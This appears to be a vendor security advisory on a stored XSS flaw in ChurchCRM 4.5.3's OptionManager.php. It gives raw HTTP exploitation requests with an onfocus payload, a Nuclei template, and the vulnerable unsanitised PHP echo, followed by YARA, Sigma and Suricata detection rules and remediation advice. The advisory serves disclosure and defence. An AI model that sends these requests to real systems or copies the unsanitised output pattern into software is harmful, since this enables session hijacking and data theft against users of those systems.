CVE-2023-26842

Executive Summary

CVE-2023-26842 is a stored Cross-Site Scripting (XSS) vulnerability in ChurchCRM version 4.5.3. An authenticated attacker can inject arbitrary web script or HTML via the OptionManager.php endpoint, specifically through the newFieldName parameter when adding a new person classification. This vulnerability allows persistent injection of malicious scripts that execute in the context of any user viewing the affected page, leading to potential data theft, session hijacking, or defacement. The CVSS v3.1 score is 5.4 (Medium), with an EPSS score of 0.13644% (94.274th percentile), indicating moderate exploitation likelihood.

Supply Chain & Package Security

ChurchCRM is a PHP-based web application. The vulnerability exists in the core application code, not in a third-party package. No supply chain compromise is involved.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): Low (L) – requires authenticated user
• User Interaction (UI): Required (R) – victim must view the page
• Scope (S): Changed (C) – impacts resources beyond the vulnerable component
• Confidentiality (C): Low (L) – limited data exposure
• Integrity (I): Low (L) – limited modification
• Availability (A): None (N)

Threat Level: Medium. Exploitation requires authentication but can lead to persistent compromise of user sessions and data.

Deep Dive & Mechanics

The vulnerability resides in OptionManager.php within the mode=classes functionality. The application fails to sanitize the newFieldName parameter before storing it in the database and rendering it in subsequent page loads. An attacker can inject an XSS payload such as:

" onfocus=alert(document.domain) autofocus="

This payload, when stored, creates an input field with an onfocus event handler that executes JavaScript when the element receives focus. Since the payload is stored, any user navigating to the affected page will trigger the script.

The attack flow:

1. Authenticate to ChurchCRM.
2. POST to /OptionManager.php?mode=classes&ListID=1 with the malicious newFieldName parameter.
3. The payload is stored in the database.
4. When any user (including admins) visits the classification management page, the script executes.

Vulnerable vs. Patched Code

Vulnerable Code (ChurchCRM 4.5.3): The OptionManager.php directly outputs the newFieldName value without sanitization:

// Vulnerable: no sanitization
$fieldName = $_POST['newFieldName'];
// ... stored in DB and later echoed directly
echo "<input value='$fieldName' ...>";

Patched Code (Hypothetical): Proper sanitization using htmlspecialchars() or equivalent:

// Patched: sanitize output
$fieldName = htmlspecialchars($_POST['newFieldName'], ENT_QUOTES, 'UTF-8');
// ... stored and echoed safely
echo "<input value='$fieldName' ...>";

Exploitation & Lab Setup

Red Team

Prerequisites:

• ChurchCRM 4.5.3 instance
• Valid user credentials (e.g., admin/password)

Exploitation Steps:

1. Obtain a valid session by logging in:

   POST /session/begin HTTP/1.1
   Host: target.churchcrm.local
   Content-Type: application/x-www-form-urlencoded
   
   User=admin&Password=password
   

2. Extract the CSRF token from the response (if required):

   id="form_session_token" value="(.*)" type="hidden"
   

3. Inject the XSS payload:

   POST /OptionManager.php?mode=classes&ListID=1 HTTP/1.1
   Host: target.churchcrm.local
   Content-Type: application/x-www-form-urlencoded
   
   1name=Member&2name=Regular+Attender&3name=Guest&4name=Non-Attender&5name=Non-Attender+%28staff%29&newFieldName=" onfocus=alert(document.domain) autofocus="&AddField=Add+New+Person+Classification
   

4. Any user visiting the classification management page will trigger the XSS.

Nuclei Template (provided):

id: CVE-2023-26842

info:
  name: ChurchCRM 4.5.3 - Cross-Site Scripting
  author: Harsh
  severity: medium
  description: |
    A stored Cross-site scripting (XSS) vulnerability in ChurchCRM 4.5.3 allows remote attackers to inject arbitrary web script or HTML via the OptionManager.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Upgrade to a patched version of ChurchCRM or apply the necessary security patches to mitigate the XSS vulnerability.
  reference:
    - https://github.com/10splayaSec/CVE-Disclosures/tree/main/ChurchCRM/CVE-2023-26842
    - https://nvd.nist.gov/vuln/detail/CVE-2023-26842
    - https://github.com/10splayaSec/CVE-Disclosures
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2023-26842
    cwe-id: CWE-79
    epss-score: 0.13644
    epss-percentile: 0.94274
    cpe: cpe:2.3:a:churchcrm:churchcrm:4.5.3:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: churchcrm
    product: churchcrm
  tags: cve2023,cve,churchcrm,stored-xss,xss,authenticated,vuln

http:
  - raw:
      - |
        POST /session/begin HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        User={{username}}&Password={{password}}
      - |
        POST /OptionManager.php?mode=classes&ListID=1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        1name=Member&2name=Regular+Attender&3name=Guest&4name=Non-Attender&5name=Non-Attender+%28staff%29&newFieldName=" onfocus=alert(document.domain) autofocus="&AddField=Add+New+Person+Classification

    redirects: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(content_type_2, "text/html")'
          - 'contains(body_2, "onfocus=alert(document.domain) autofocus=")'
          - 'contains(body_2, "ChurchCRM")'
        condition: and

    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - 'id="form_session_token" value="(.*)" type="hidden"'
        internal: true

Blue Team

Detection:

• Monitor HTTP POST requests to /OptionManager.php?mode=classes&ListID=1 for suspicious newFieldName parameters containing event handlers (e.g., onfocus, onload, onerror).
• Look for anomalous session activity from low-privileged users creating new classifications.

Hunting:

• Search database entries in the classification table for HTML/JavaScript content.
• Review web server logs for requests containing XSS patterns in the newFieldName parameter.

Mitigation:

• Apply input validation and output encoding (e.g., htmlspecialchars()).
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Restrict access to OptionManager.php to trusted administrators only.

Indicators of Compromise (IOCs)

• Network:
  • HTTP POST to /OptionManager.php?mode=classes&ListID=1 with newFieldName containing event handlers.
  • Response containing onfocus=alert(document.domain) autofocus= in the HTML body.
• Host:
  • Database entries in classification table with HTML/JavaScript content.
  • Web server logs showing requests with XSS payloads in newFieldName.
• File:
  • Modified OptionManager.php (if attacker patches the file directly).

Detection Engineering

YARA Rule

rule CVE_2023_26842_ChurchCRM_XSS {
    meta:
        description = "Detects stored XSS payload in ChurchCRM OptionManager.php"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-26842"
    strings:
        $xss_payload = /newFieldName=.*(onfocus|onload|onerror|onclick|onmouseover)/
        $churchcrm = "ChurchCRM"
    condition:
        $xss_payload and $churchcrm
}

Sigma Rule

title: ChurchCRM Stored XSS via OptionManager.php
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation of CVE-2023-26842 by monitoring for XSS payloads in OptionManager.php requests
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-26842
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: POST
        cs-uri-query: "/OptionManager.php?mode=classes&ListID=1"
        cs-uri-query|contains: "newFieldName="
        cs-uri-query|re: "newFieldName=.*(onfocus|onload|onerror|onclick|onmouseover)"
    condition: selection
falsepositives:
    - Legitimate use of event handlers in classification names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2023-26842 ChurchCRM Stored XSS Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/OptionManager.php?mode=classes&ListID=1"; http_uri;
    content:"newFieldName="; http_client_body;
    pcre:"/newFieldName=.*(onfocus|onload|onerror|onclick|onmouseover)/Pi";
    reference:cve,2023-26842;
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate:

1. Upgrade ChurchCRM to a version that patches this vulnerability (if available).
2. If upgrade is not possible, manually sanitize the newFieldName parameter in OptionManager.php using htmlspecialchars().
3. Implement a Web Application Firewall (WAF) rule to block requests containing XSS patterns in newFieldName.

Long-term:

• Adopt secure coding practices: always validate and sanitize user input.
• Implement Content Security Policy (CSP) headers.
• Conduct regular security audits and penetration testing.
• Restrict administrative functions to trusted users only.

Valters IT
Securing Digital Frontiers

{/* [Security Hash: ECC61DBD4C85F98B6924C322] */}